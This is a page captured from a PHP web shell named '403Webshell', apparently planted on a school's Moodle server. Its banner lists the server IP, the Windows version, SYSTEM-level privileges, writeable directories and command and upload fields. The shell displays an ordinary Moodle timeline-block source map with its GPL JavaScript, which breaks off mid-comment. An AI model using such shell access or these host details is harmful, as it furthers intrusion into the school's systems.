403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/blocks/timeline/amd/build/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/blocks/timeline/amd/build/view_courses.min.js.map
{"version":3,"sources":["../src/view_courses.js"],"names":["define","$","Notification","CustomEvents","Str","Templates","EventList","CourseRepository","EventsRepository","SELECTORS","MORE_COURSES_BUTTON","MORE_COURSES_BUTTON_CONTAINER","NO_COURSES_EMPTY_MESSAGE","COURSES_LIST","COURSE_ITEMS_LOADING_PLACEHOLDER","COURSE_EVENTS_CONTAINER","COURSE_NAME","LOADING_ICON","TEMPLATES","COURSE_ITEMS","COURSE_EVENT_LIMIT","SECONDS_IN_DAY","hideLoadingPlaceholder","root","find","addClass","hideMoreCoursesButton","showMoreCoursesButton","removeClass","enableMoreCoursesButtonLoading","button","prop","render","then","html","append","catch","disableMoreCoursesButtonLoading","remove","showNoCoursesEmptyMessage","renderCourseItemsHTML","container","appendNodeContents","hasLoadedCourses","length","getOffset","parseInt","attr","setOffset","offset","getLimit","getDaysOffset","getDaysLimit","daysLimit","getMidnight","getStartTime","midnight","daysOffset","getEndTime","getEventsForCourseIds","courseIds","startTime","limit","endTime","args","courseids","starttime","endtime","queryByCourses","getEventReloadTime","data","setEventReloadTime","time","hasReloadedEventsSince","loadEventsForCourses","courses","map","course","id","updateDisplayFromCourses","noEventsURL","hasdaysoffset","hasdayslimit","daysoffset","dayslimit","nodayslimit","urls","noevents","loadMoreCourses","getEnrolledCoursesByTimelineClassification","result","startEventLoadingTime","Date","now","nextOffset","nextoffset","eventsPromise","renderPromise","when","eventsByCourse","forEach","courseId","events","courseEventsContainer","eventListRoot","rootSelector","courseGroups","groupedbycourse","filter","group","courseid","pageOnePreload","Deferred","resolve","promise","get_string","fullnamedisplay","string","init","exception","reloadCourseEvents","startReloadTime","courseEventsContainers","get","each","index","courseName","text","eventListContainer","pageDeferred","registerEventListeners","activate","on","e","originalEvent","preventDefault","stopPropagation","shown","hasClass","reset","removeAttr"],"mappings":"AAuBAA,OAAM,+BACN,CACI,QADJ,CAEI,mBAFJ,CAGI,gCAHJ,CAII,UAJJ,CAKI,gBALJ,CAMI,2BANJ,CAOI,wBAPJ,CAQI,2CARJ,CADM,CAWN,SACIC,CADJ,CAEIC,CAFJ,CAGIC,CAHJ,CAIIC,CAJJ,CAKIC,CALJ,CAMIC,CANJ,CAOIC,CAPJ,CAQIC,CARJ,CASE,IAEMC,CAAAA,CAAS,CAAG,CACZC,mBAAmB,CAAE,gCADT,CAEZC,6BAA6B,CAAE,iDAFnB,CAGZC,wBAAwB,CAAE,4CAHd,CAIZC,YAAY,CAAE,gCAJF,CAKZC,gCAAgC,CAAE,oDALtB,CAMZC,uBAAuB,CAAE,2CANb,CAOZC,WAAW,CAAE,+BAPD,CAQZC,YAAY,CAAE,eARF,CAFlB,CAaMC,CAAS,CAAG,CACZC,YAAY,CAAE,6BADF,CAEZF,YAAY,CAAE,cAFF,CAblB,CAoBMG,CAAkB,CAAG,CApB3B,CAsBMC,CAAc,MAtBpB,CA6BMC,CAAsB,CAAG,SAASC,CAAT,CAAe,CACxCA,CAAI,CAACC,IAAL,CAAUf,CAAS,CAACK,gCAApB,EAAsDW,QAAtD,CAA+D,QAA/D,CACH,CA/BH,CAsCMC,CAAqB,CAAG,SAASH,CAAT,CAAe,CACvCA,CAAI,CAACC,IAAL,CAAUf,CAAS,CAACE,6BAApB,EAAmDc,QAAnD,CAA4D,QAA5D,CACH,CAxCH,CA+CME,CAAqB,CAAG,SAASJ,CAAT,CAAe,CACvCA,CAAI,CAACC,IAAL,CAAUf,CAAS,CAACE,6BAApB,EAAmDiB,WAAnD,CAA+D,QAA/D,CACH,CAjDH,CAwDMC,CAA8B,CAAG,SAASN,CAAT,CAAe,CAChD,GAAIO,CAAAA,CAAM,CAAGP,CAAI,CAACC,IAAL,CAAUf,CAAS,CAACC,mBAApB,CAAb,CACAoB,CAAM,CAACC,IAAP,CAAY,UAAZ,KACA1B,CAAS,CAAC2B,MAAV,CAAiBd,CAAS,CAACD,YAA3B,CAAyC,EAAzC,EACKgB,IADL,CACU,SAASC,CAAT,CAAe,CACjBJ,CAAM,CAACK,MAAP,CAAcD,CAAd,EACA,MAAOA,CAAAA,CACV,CAJL,EAKKE,KALL,CAKW,UAAW,CAEd,QACH,CARL,CASH,CApEH,CA2EMC,CAA+B,CAAG,SAASd,CAAT,CAAe,CACjD,GAAIO,CAAAA,CAAM,CAAGP,CAAI,CAACC,IAAL,CAAUf,CAAS,CAACC,mBAApB,CAAb,CACAoB,CAAM,CAACC,IAAP,CAAY,UAAZ,KACAD,CAAM,CAACN,IAAP,CAAYf,CAAS,CAACQ,YAAtB,EAAoCqB,MAApC,EACH,CA/EH,CAsFMC,CAAyB,CAAG,SAAShB,CAAT,CAAe,CAC3CA,CAAI,CAACC,IAAL,CAAUf,CAAS,CAACG,wBAApB,EAA8CgB,WAA9C,CAA0D,QAA1D,CACH,CAxFH,CAgGMY,CAAqB,CAAG,SAASjB,CAAT,CAAeW,CAAf,CAAqB,CAC7C,GAAIO,CAAAA,CAAS,CAAGlB,CAAI,CAACC,IAAL,CAAUf,CAAS,CAACI,YAApB,CAAhB,CACAR,CAAS,CAACqC,kBAAV,CAA6BD,CAA7B,CAAwCP,CAAxC,CAA8C,EAA9C,CACH,CAnGH,CA2GMS,CAAgB,CAAG,SAASpB,CAAT,CAAe,CAClC,MAA6D,EAAtD,CAAAA,CAAI,CAACC,IAAL,CAAUf,CAAS,CAACM,uBAApB,EAA6C6B,MACvD,CA7GH,CAqHMC,CAAS,CAAG,SAAStB,CAAT,CAAe,CAC3B,MAAOuB,CAAAA,QAAQ,CAACvB,CAAI,CAACwB,IAAL,CAAU,aAAV,CAAD,CAA2B,EAA3B,CAClB,CAvHH,CA+HMC,CAAS,CAAG,SAASzB,CAAT,CAAe0B,CAAf,CAAuB,CACnC1B,CAAI,CAACwB,IAAL,CAAU,aAAV,CAAyBE,CAAzB,CACH,CAjIH,CAyIMC,CAAQ,CAAG,SAAS3B,CAAT,CAAe,CAC1B,MAAOuB,CAAAA,QAAQ,CAACvB,CAAI,CAACwB,IAAL,CAAU,YAAV,CAAD,CAA0B,EAA1B,CAClB,CA3IH,CAmJMI,CAAa,CAAG,SAAS5B,CAAT,CAAe,CAC/B,MAAOuB,CAAAA,QAAQ,CAACvB,CAAI,CAACwB,IAAL,CAAU,kBAAV,CAAD,CAAgC,EAAhC,CAClB,CArJH,CA+JMK,CAAY,CAAG,SAAS7B,CAAT,CAAe,CAC9B,GAAI8B,CAAAA,CAAS,CAAG9B,CAAI,CAACwB,IAAL,CAAU,iBAAV,CAAhB,CACA,MAAOM,CAAAA,CAAS,QAAT,CAAyBP,QAAQ,CAACO,CAAD,CAAY,EAAZ,CAAjC,OACV,CAlKH,CA0KMC,CAAW,CAAG,SAAS/B,CAAT,CAAe,CAC7B,MAAOuB,CAAAA,QAAQ,CAACvB,CAAI,CAACwB,IAAL,CAAU,eAAV,CAAD,CAA6B,EAA7B,CAClB,CA5KH,CAsLMQ,CAAY,CAAG,SAAShC,CAAT,CAAe,IAC1BiC,CAAAA,CAAQ,CAAGF,CAAW,CAAC/B,CAAD,CADI,CAE1BkC,CAAU,CAAGN,CAAa,CAAC5B,CAAD,CAFA,CAG9B,MAAOiC,CAAAA,CAAQ,CAAIC,CAAU,CAAGpC,CACnC,CA1LH,CAoMMqC,CAAU,CAAG,SAASnC,CAAT,CAAe,IACxBiC,CAAAA,CAAQ,CAAGF,CAAW,CAAC/B,CAAD,CADE,CAExB8B,CAAS,CAAGD,CAAY,CAAC7B,CAAD,CAFA,CAG5B,MAAO8B,CAAAA,CAAS,QAAT,CAAyBG,CAAQ,CAAIH,CAAS,CAAGhC,CAAjD,GACV,CAxMH,CAoNMsC,CAAqB,CAAG,SAASC,CAAT,CAAoBC,CAApB,CAA+BC,CAA/B,CAAsCC,CAAtC,CAA+C,CACvE,GAAIC,CAAAA,CAAI,CAAG,CACPC,SAAS,CAAEL,CADJ,CAEPM,SAAS,CAAEL,CAFJ,CAGPC,KAAK,CAAEA,CAHA,CAAX,CAMA,GAAIC,CAAJ,CAAa,CACTC,CAAI,CAACG,OAAL,CAAeJ,CAClB,CAED,MAAOvD,CAAAA,CAAgB,CAAC4D,cAAjB,CAAgCJ,CAAhC,CACV,CAhOH,CAwOMK,CAAkB,CAAG,SAAS9C,CAAT,CAAe,CACpC,MAAOA,CAAAA,CAAI,CAAC+C,IAAL,CAAU,sBAAV,CACV,CA1OH,CAkPMC,CAAkB,CAAG,SAAShD,CAAT,CAAeiD,CAAf,CAAqB,CAC1CjD,CAAI,CAAC+C,IAAL,CAAU,sBAAV,CAAkCE,CAAlC,CACH,CApPH,CA8PMC,CAAsB,CAAG,SAASlD,CAAT,CAAeiD,CAAf,CAAqB,CAC9C,MAAOH,CAAAA,CAAkB,CAAC9C,CAAD,CAAlB,CAA2BiD,CACrC,CAhQH,CA0QME,CAAoB,CAAG,SAASC,CAAT,CAAkBd,CAAlB,CAA6BE,CAA7B,CAAsC,CAC7D,GAAIH,CAAAA,CAAS,CAAGe,CAAO,CAACC,GAAR,CAAY,SAASC,CAAT,CAAiB,CACzC,MAAOA,CAAAA,CAAM,CAACC,EACjB,CAFe,CAAhB,CAIA,MAAOnB,CAAAA,CAAqB,CAACC,CAAD,CAAYC,CAAZ,CAAuBzC,CAAkB,CAAG,CAA5C,CAA+C2C,CAA/C,CAC/B,CAhRH,CA6RMgB,CAAwB,CAAG,SAASJ,CAAT,CAAkBpD,CAAlB,CAAwBiC,CAAxB,CAAkCC,CAAlC,CAA8CJ,CAA9C,CAAyD2B,CAAzD,CAAsE,CAEjG,MAAO3E,CAAAA,CAAS,CAAC2B,MAAV,CAAiBd,CAAS,CAACC,YAA3B,CAAyC,CAC5CwD,OAAO,CAAEA,CADmC,CAE5CnB,QAAQ,CAAEA,CAFkC,CAG5CyB,aAAa,GAH+B,CAI5CC,YAAY,CAAE7B,CAAS,QAJqB,CAK5C8B,UAAU,CAAE1B,CALgC,CAM5C2B,SAAS,CAAE/B,CANiC,CAO5CgC,WAAW,CAAEhC,CAAS,QAPsB,CAQ5CiC,IAAI,CAAE,CACFC,QAAQ,CAAEP,CADR,CARsC,CAAzC,EAWJ/C,IAXI,CAWC,SAASC,CAAT,CAAe,CACnBZ,CAAsB,CAACC,CAAD,CAAtB,CAEA,GAAIW,CAAJ,CAAU,CAGNM,CAAqB,CAACjB,CAAD,CAAOW,CAAP,CACxB,CAJD,IAIO,CACH,GAAI,CAACS,CAAgB,CAACpB,CAAD,CAArB,CAA6B,CAGzBgB,CAAyB,CAAChB,CAAD,CAC5B,CACJ,CAED,MAAOW,CAAAA,CACV,CA3BM,EA4BND,IA5BM,CA4BD,SAASC,CAAT,CAAe,CACjB,GAAIyC,CAAO,CAAC/B,MAAR,CAvSO,CAuSX,CAAmC,CAG/BlB,CAAqB,CAACH,CAAD,CACxB,CAJD,IAIO,CAEHI,CAAqB,CAACJ,CAAD,CACxB,CAED,MAAOW,CAAAA,CACV,CAvCM,EAwCNE,KAxCM,CAwCA,UAAW,CACdd,CAAsB,CAACC,CAAD,CACzB,CA1CM,CA2CV,CA1UH,CAmVMiE,CAAe,CAAG,SAASjE,CAAT,CAAe,IAC7B0B,CAAAA,CAAM,CAAGJ,CAAS,CAACtB,CAAD,CADW,CAE7BuC,CAAK,CAAGZ,CAAQ,CAAC3B,CAAD,CAFa,CAKjC,MAAOhB,CAAAA,CAAgB,CAACkF,0CAAjB,CAtUiB,YAsUjB,CAEH3B,CAFG,CAGHb,CAHG,CArUO,cAqUP,EAKLhB,IALK,CAKA,SAASyD,CAAT,CAAiB,IAChBC,CAAAA,CAAqB,CAAGC,IAAI,CAACC,GAAL,EADR,CAEhBlB,CAAO,CAAGe,CAAM,CAACf,OAFD,CAGhBmB,CAAU,CAAGJ,CAAM,CAACK,UAHJ,CAIhBtC,CAAU,CAAGN,CAAa,CAAC5B,CAAD,CAJV,CAKhB8B,CAAS,CAAGD,CAAY,CAAC7B,CAAD,CALR,CAMhBiC,CAAQ,CAAGF,CAAW,CAAC/B,CAAD,CANN,CAOhBsC,CAAS,CAAGN,CAAY,CAAChC,CAAD,CAPR,CAQhBwC,CAAO,CAAGL,CAAU,CAACnC,CAAD,CARJ,CAShByD,CAAW,CAAGzD,CAAI,CAACwB,IAAL,CAAU,oBAAV,CATE,CAWpBC,CAAS,CAACzB,CAAD,CAAOuE,CAAP,CAAT,CAXoB,GAahBE,CAAAA,CAAa,CAAGtB,CAAoB,CAACC,CAAD,CAAUd,CAAV,CAAqBE,CAArB,CAbpB,CAehBkC,CAAa,CAAGlB,CAAwB,CAACJ,CAAD,CAAUpD,CAAV,CAAgBiC,CAAhB,CAA0BC,CAA1B,CAAsCJ,CAAtC,CAAiD2B,CAAjD,CAfxB,CAiBpB,MAAO/E,CAAAA,CAAC,CAACiG,IAAF,CAAOF,CAAP,CAAsBC,CAAtB,EACFhE,IADE,CACG,SAASkE,CAAT,CAAyB,CAC3B,GAAI1B,CAAsB,CAAClD,CAAD,CAAOoE,CAAP,CAA1B,CAAyD,CAErD,MAAOQ,CAAAA,CACV,CAIDxB,CAAO,CAACyB,OAAR,CAAgB,SAASvB,CAAT,CAAiB,IACzBwB,CAAAA,CAAQ,CAAGxB,CAAM,CAACC,EADO,CAEzBwB,CAAM,CAAG,EAFgB,CAIzBC,CAAqB,CAAGhF,CAAI,CAACC,IAAL,CADJ,8DAA6D6E,CAA7D,CAAwE,KACpE,CAJC,CAKzBG,CAAa,CAAGD,CAAqB,CAAC/E,IAAtB,CAA2BlB,CAAS,CAACmG,YAArC,CALS,CAMzBC,CAAY,CAAGP,CAAc,CAACQ,eAAf,CAA+BC,MAA/B,CAAsC,SAASC,CAAT,CAAgB,CACrE,MAAOA,CAAAA,CAAK,CAACC,QAAN,EAAkBT,CAC5B,CAFkB,CANU,CAU7B,GAAIK,CAAY,CAAC9D,MAAjB,CAAyB,CAErB0D,CAAM,CAAGI,CAAY,CAAC,CAAD,CAAZ,CAAgBJ,MAC5B,CAID,GAAIS,CAAAA,CAAc,CAAG9G,CAAC,CAAC+G,QAAF,GAAaC,OAAb,CAAqB,CAACX,MAAM,CAAEA,CAAT,CAArB,EAAuCY,OAAvC,EAArB,CAEA9G,CAAG,CAAC+G,UAAJ,CAAe,mCAAf,CAAoD,gBAApD,CAAsEtC,CAAM,CAACuC,eAA7E,EACKnF,IADL,CACU,SAASoF,CAAT,CAAiB,CACnB/G,CAAS,CAACgH,IAAV,CAAed,CAAf,CAA8BpF,CAA9B,CAAkD,CAAC,EAAK2F,CAAN,CAAlD,CAAyEM,CAAzE,EACA,MAAOA,CAAAA,CACV,CAJL,EAKKjF,KALL,CAKW,UAAW,CAEd9B,CAAS,CAACgH,IAAV,CAAed,CAAf,CAA8BpF,CAA9B,CAAkD,CAAC,EAAK2F,CAAN,CAAlD,CACH,CARL,CASH,CA5BD,EA8BA,MAAOZ,CAAAA,CACV,CAxCE,CAyCV,CA/DM,EA+DJ/D,KA/DI,CA+DElC,CAAY,CAACqH,SA/Df,CAgEV,CAxZH,CAiaMC,CAAkB,CAAG,SAASjG,CAAT,CAAe,IAChCkG,CAAAA,CAAe,CAAG7B,IAAI,CAACC,GAAL,EADc,CAEhChC,CAAS,CAAGN,CAAY,CAAChC,CAAD,CAFQ,CAGhCwC,CAAO,CAAGL,CAAU,CAACnC,CAAD,CAHY,CAIhCmG,CAAsB,CAAGnG,CAAI,CAACC,IAAL,CAAUf,CAAS,CAACM,uBAApB,CAJO,CAKhC6C,CAAS,CAAG8D,CAAsB,CAAC9C,GAAvB,CAA2B,UAAW,CAClD,MAAO3E,CAAAA,CAAC,CAAC,IAAD,CAAD,CAAQ8C,IAAR,CAAa,gBAAb,CACV,CAFe,EAEb4E,GAFa,EALoB,CAUpCpD,CAAkB,CAAChD,CAAD,CAAOkG,CAAP,CAAlB,CAGA,MAAO9D,CAAAA,CAAqB,CAACC,CAAD,CAAYC,CAAZ,CAAuBzC,CAAkB,CAAG,CAA5C,CAA+C2C,CAA/C,CAArB,CACF9B,IADE,CACG,SAASkE,CAAT,CAAyB,CAC3B,GAAI1B,CAAsB,CAAClD,CAAD,CAAOkG,CAAP,CAA1B,CAAmD,CAE/C,MAAOtB,CAAAA,CACV,CAEDuB,CAAsB,CAACE,IAAvB,CAA4B,SAASC,CAAT,CAAgBpF,CAAhB,CAA2B,CACnDA,CAAS,CAAGxC,CAAC,CAACwC,CAAD,CAAb,CADmD,GAE/C4D,CAAAA,CAAQ,CAAG5D,CAAS,CAACM,IAAV,CAAe,gBAAf,CAFoC,CAG/C+E,CAAU,CAAGrF,CAAS,CAACjB,IAAV,CAAef,CAAS,CAACO,WAAzB,EAAsC+G,IAAtC,EAHkC,CAI/CC,CAAkB,CAAGvF,CAAS,CAACjB,IAAV,CAAelB,CAAS,CAACmG,YAAzB,CAJ0B,CAK/CwB,CAAY,CAAGhI,CAAC,CAAC+G,QAAF,EALgC,CAM/CV,CAAM,CAAG,EANsC,CAO/CI,CAAY,CAAGP,CAAc,CAACQ,eAAf,CAA+BC,MAA/B,CAAsC,SAASC,CAAT,CAAgB,CACrE,MAAOA,CAAAA,CAAK,CAACC,QAAN,EAAkBT,CAC5B,CAFkB,CAPgC,CAWnD,GAAIK,CAAY,CAAC9D,MAAjB,CAAyB,CAErB0D,CAAM,CAAGI,CAAY,CAAC,CAAD,CAAZ,CAAgBJ,MAC5B,CAED2B,CAAY,CAAChB,OAAb,CAAqB,CAACX,MAAM,CAAEA,CAAT,CAArB,EAIAlG,CAAG,CAAC+G,UAAJ,CAAe,mCAAf,CAAoD,gBAApD,CAAsEW,CAAtE,EACK7F,IADL,CACU,SAASoF,CAAT,CAAiB,CACnB/G,CAAS,CAACgH,IAAV,CAAeU,CAAf,CAAmC5G,CAAnC,CAAuD,CAAC,EAAK6G,CAAY,CAACf,OAAb,EAAN,CAAvD,CAAsFG,CAAtF,EACA,MAAOA,CAAAA,CACV,CAJL,EAKKjF,KALL,CAKW,UAAW,CAEd9B,CAAS,CAACgH,IAAV,CAAeU,CAAf,CAAmC5G,CAAnC,CAAuD,CAAC,EAAK6G,CAAY,CAACf,OAAb,EAAN,CAAvD,CACH,CARL,CASH,CA7BD,EA+BA,MAAOf,CAAAA,CACV,CAvCE,EAuCA/D,KAvCA,CAuCMlC,CAAY,CAACqH,SAvCnB,CAwCV,CAtdH,CA6dMW,CAAsB,CAAG,SAAS3G,CAAT,CAAe,CACxCpB,CAAY,CAACH,MAAb,CAAoBuB,CAApB,CAA0B,CAACpB,CAAY,CAACmG,MAAb,CAAoB6B,QAArB,CAA1B,EAGA5G,CAAI,CAAC6G,EAAL,CAAQjI,CAAY,CAACmG,MAAb,CAAoB6B,QAA5B,CAAsC1H,CAAS,CAACC,mBAAhD,CAAqE,SAAS2H,CAAT,CAAY/D,CAAZ,CAAkB,CACnFzC,CAA8B,CAACN,CAAD,CAA9B,CACAiE,CAAe,CAACjE,CAAD,CAAf,CACKU,IADL,CACU,UAAW,CACbI,CAA+B,CAACd,CAAD,CAElC,CAJL,EAKKa,KALL,CAKW,UAAW,CACdC,CAA+B,CAACd,CAAD,CAClC,CAPL,EASA,GAAI+C,CAAJ,CAAU,CACNA,CAAI,CAACgE,aAAL,CAAmBC,cAAnB,GACAjE,CAAI,CAACgE,aAAL,CAAmBE,eAAnB,EACH,CACDH,CAAC,CAACG,eAAF,EACH,CAhBD,CAiBH,CAlfH,CA8hBMC,CAAK,CAAG,SAASlH,CAAT,CAAe,CACvB,GAAI,CAACA,CAAI,CAACwB,IAAL,CAAU,WAAV,CAAL,CAA6B,CACzB,GAAIJ,CAAgB,CAACpB,CAAD,CAApB,CAA4B,CAGxBiG,CAAkB,CAACjG,CAAD,CACrB,CAJD,IAIO,CAEHiE,CAAe,CAACjE,CAAD,CAClB,CAEDA,CAAI,CAACwB,IAAL,CAAU,WAAV,IACH,CACJ,CA3iBH,CA6iBE,MAAO,CACHuE,IAAI,CAjDG,QAAPA,CAAAA,IAAO,CAAS/F,CAAT,CAAe,CACtBA,CAAI,CAAGtB,CAAC,CAACsB,CAAD,CAAR,CAEAgD,CAAkB,CAAChD,CAAD,CAAOqE,IAAI,CAACC,GAAL,EAAP,CAAlB,CAEA,GAAItE,CAAI,CAACmH,QAAL,CAAc,QAAd,CAAJ,CAA6B,CAEzBlD,CAAe,CAACjE,CAAD,CAAf,CACAA,CAAI,CAACwB,IAAL,CAAU,WAAV,IACH,CAEDmF,CAAsB,CAAC3G,CAAD,CACzB,CAoCM,CAEHoH,KAAK,CA9BG,QAARA,CAAAA,KAAQ,CAASpH,CAAT,CAAe,CACvBA,CAAI,CAACqH,UAAL,CAAgB,WAAhB,EACA,GAAIrH,CAAI,CAACmH,QAAL,CAAc,QAAd,CAAJ,CAA6B,CACzBD,CAAK,CAAClH,CAAD,CACR,CACJ,CAuBM,CAGHkH,KAAK,CAAEA,CAHJ,CAKV,CAtkBK,CAAN","sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * Manage the timeline courses view for the timeline block.\n *\n * @package    block_timeline\n * @copyright  2018 Ryan Wyllie <[email protected]>\n * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\n\ndefine(\n[\n    'jquery',\n    'core/notification',\n    'core/custom_interaction_events',\n    'core/str',\n    'core/templates',\n    'block_timeline/event_list',\n    'core_course/repository',\n    'block_timeline/calendar_events_repository'\n],\nfunction(\n    $,\n    Notification,\n    CustomEvents,\n    Str,\n    Templates,\n    EventList,\n    CourseRepository,\n    EventsRepository\n) {\n\n    var SELECTORS = {\n        MORE_COURSES_BUTTON: '[data-action=\"more-courses\"]',\n        MORE_COURSES_BUTTON_CONTAINER: '[data-region=\"more-courses-button-container\"]',\n        NO_COURSES_EMPTY_MESSAGE: '[data-region=\"no-courses-empty-message\"]',\n        COURSES_LIST: '[data-region=\"courses-list\"]',\n        COURSE_ITEMS_LOADING_PLACEHOLDER: '[data-region=\"course-items-loading-placeholder\"]',\n        COURSE_EVENTS_CONTAINER: '[data-region=\"course-events-container\"]',\n        COURSE_NAME: '[data-region=\"course-name\"]',\n        LOADING_ICON: '.loading-icon'\n    };\n\n    var TEMPLATES = {\n        COURSE_ITEMS: 'block_timeline/course-items',\n        LOADING_ICON: 'core/loading'\n    };\n\n    var COURSE_CLASSIFICATION = 'inprogress';\n    var COURSE_SORT = 'fullname asc';\n    var COURSE_EVENT_LIMIT = 5;\n    var COURSE_LIMIT = 2;\n    var SECONDS_IN_DAY = 60 * 60 * 24;\n\n    /**\n     * Hide the loading placeholder elements.\n     *\n     * @param {object} root The rool element.\n     */\n    var hideLoadingPlaceholder = function(root) {\n        root.find(SELECTORS.COURSE_ITEMS_LOADING_PLACEHOLDER).addClass('hidden');\n    };\n\n    /**\n     * Hide the \"more courses\" button.\n     *\n     * @param {object} root The rool element.\n     */\n    var hideMoreCoursesButton = function(root) {\n        root.find(SELECTORS.MORE_COURSES_BUTTON_CONTAINER).addClass('hidden');\n    };\n\n    /**\n     * Show the \"more courses\" button.\n     *\n     * @param {object} root The rool element.\n     */\n    var showMoreCoursesButton = function(root) {\n        root.find(SELECTORS.MORE_COURSES_BUTTON_CONTAINER).removeClass('hidden');\n    };\n\n    /**\n     * Disable the \"more courses\" button and show the loading spinner.\n     *\n     * @param {object} root The rool element.\n     */\n    var enableMoreCoursesButtonLoading = function(root) {\n        var button = root.find(SELECTORS.MORE_COURSES_BUTTON);\n        button.prop('disabled', true);\n        Templates.render(TEMPLATES.LOADING_ICON, {})\n            .then(function(html) {\n                button.append(html);\n                return html;\n            })\n            .catch(function() {\n                // It's not important if this false so just do so silently.\n                return false;\n            });\n    };\n\n    /**\n     * Enable the \"more courses\" button and remove the loading spinner.\n     *\n     * @param {object} root The rool element.\n     */\n    var disableMoreCoursesButtonLoading = function(root) {\n        var button = root.find(SELECTORS.MORE_COURSES_BUTTON);\n        button.prop('disabled', false);\n        button.find(SELECTORS.LOADING_ICON).remove();\n    };\n\n    /**\n     * Display the message for when there are no courses available.\n     *\n     * @param {object} root The rool element.\n     */\n    var showNoCoursesEmptyMessage = function(root) {\n        root.find(SELECTORS.NO_COURSES_EMPTY_MESSAGE).removeClass('hidden');\n    };\n\n    /**\n     * Render the course items HTML to the page.\n     *\n     * @param {object} root The rool element.\n     * @param {string} html The course items HTML to render.\n     */\n    var renderCourseItemsHTML = function(root, html) {\n        var container = root.find(SELECTORS.COURSES_LIST);\n        Templates.appendNodeContents(container, html, '');\n    };\n\n    /**\n     * Check if any courses have been loaded.\n     *\n     * @param {object} root The rool element.\n     * @return {bool}\n     */\n    var hasLoadedCourses = function(root) {\n        return root.find(SELECTORS.COURSE_EVENTS_CONTAINER).length > 0;\n    };\n\n    /**\n     * Return the offset value for fetching courses.\n     *\n     * @param {object} root The rool element.\n     * @return {Number}\n     */\n    var getOffset = function(root) {\n        return parseInt(root.attr('data-offset'), 10);\n    };\n\n    /**\n     * Set the offset value for fetching courses.\n     *\n     * @param {object} root The rool element.\n     * @param {Number} offset Offset value.\n     */\n    var setOffset = function(root, offset) {\n        root.attr('data-offset', offset);\n    };\n\n    /**\n     * Return the limit value for fetching courses.\n     *\n     * @param {object} root The rool element.\n     * @return {Number}\n     */\n    var getLimit = function(root) {\n        return parseInt(root.attr('data-limit'), 10);\n    };\n\n    /**\n     * Return the days offset value for fetching events.\n     *\n     * @param {object} root The rool element.\n     * @return {Number}\n     */\n    var getDaysOffset = function(root) {\n        return parseInt(root.attr('data-days-offset'), 10);\n    };\n\n    /**\n     * Return the days limit value for fetching events. The days\n     * limit is optional so undefined will be returned if it isn't\n     * set.\n     *\n     * @param {object} root The rool element.\n     * @return {int|undefined}\n     */\n    var getDaysLimit = function(root) {\n        var daysLimit = root.attr('data-days-limit');\n        return daysLimit != undefined ? parseInt(daysLimit, 10) : undefined;\n    };\n\n    /**\n     * Return the timestamp for the user's midnight.\n     *\n     * @param {object} root The rool element.\n     * @return {Number}\n     */\n    var getMidnight = function(root) {\n        return parseInt(root.attr('data-midnight'), 10);\n    };\n\n    /**\n     * Return the start time for fetching events. This is calculated\n     * based on the user's midnight value so that timezones are\n     * preserved.\n     *\n     * @param {object} root The rool element.\n     * @return {Number}\n     */\n    var getStartTime = function(root) {\n        var midnight = getMidnight(root);\n        var daysOffset = getDaysOffset(root);\n        return midnight + (daysOffset * SECONDS_IN_DAY);\n    };\n\n    /**\n     * Return the end time for fetching events. This is calculated\n     * based on the user's midnight value so that timezones are\n     * preserved.\n     *\n     * @param {object} root The rool element.\n     * @return {Number}\n     */\n    var getEndTime = function(root) {\n        var midnight = getMidnight(root);\n        var daysLimit = getDaysLimit(root);\n        return daysLimit != undefined ? midnight + (daysLimit * SECONDS_IN_DAY) : false;\n    };\n\n    /**\n     * Get a list of events for the given course ids. Returns a promise that will\n     * be resolved with the events.\n     *\n     * @param {array} courseIds The list of course ids to fetch events for.\n     * @param {Number} startTime Timestamp to fetch events from.\n     * @param {Number} limit Limit to the number of events (this applies per course, not total)\n     * @param {Number} endTime Timestamp to fetch events to.\n     * @return {object} jQuery promise.\n     */\n    var getEventsForCourseIds = function(courseIds, startTime, limit, endTime) {\n        var args = {\n            courseids: courseIds,\n            starttime: startTime,\n            limit: limit\n        };\n\n        if (endTime) {\n            args.endtime = endTime;\n        }\n\n        return EventsRepository.queryByCourses(args);\n    };\n\n    /**\n     * Get the last time the events were reloaded.\n     *\n     * @param {object} root The rool element.\n     * @return {Number}\n     */\n    var getEventReloadTime = function(root) {\n        return root.data('last-event-load-time');\n    };\n\n    /**\n     * Set the last time the events were reloaded.\n     *\n     * @param {object} root The rool element.\n     * @param {Number} time Timestamp in milliseconds.\n     */\n    var setEventReloadTime = function(root, time) {\n        root.data('last-event-load-time', time);\n    };\n\n    /**\n     * Check if events have begun reloading since the given\n     * time.\n     *\n     * @param {object} root The rool element.\n     * @param {Number} time Timestamp in milliseconds.\n     * @return {bool}\n     */\n    var hasReloadedEventsSince = function(root, time) {\n        return getEventReloadTime(root) > time;\n    };\n\n    /**\n     * Send a request to the server to load the events for the courses.\n     *\n     * @param {array} courses List of course objects.\n     * @param {Number} startTime Timestamp to load events after.\n     * @param {int|undefined} endTime Timestamp to load events up until.\n     * @return {object} jQuery promise resolved with the events.\n     */\n    var loadEventsForCourses = function(courses, startTime, endTime) {\n        var courseIds = courses.map(function(course) {\n            return course.id;\n        });\n\n        return getEventsForCourseIds(courseIds, startTime, COURSE_EVENT_LIMIT + 1, endTime);\n    };\n\n    /**\n     * Render the courses in the DOM once the server has returned the courses.\n     *\n     * @param 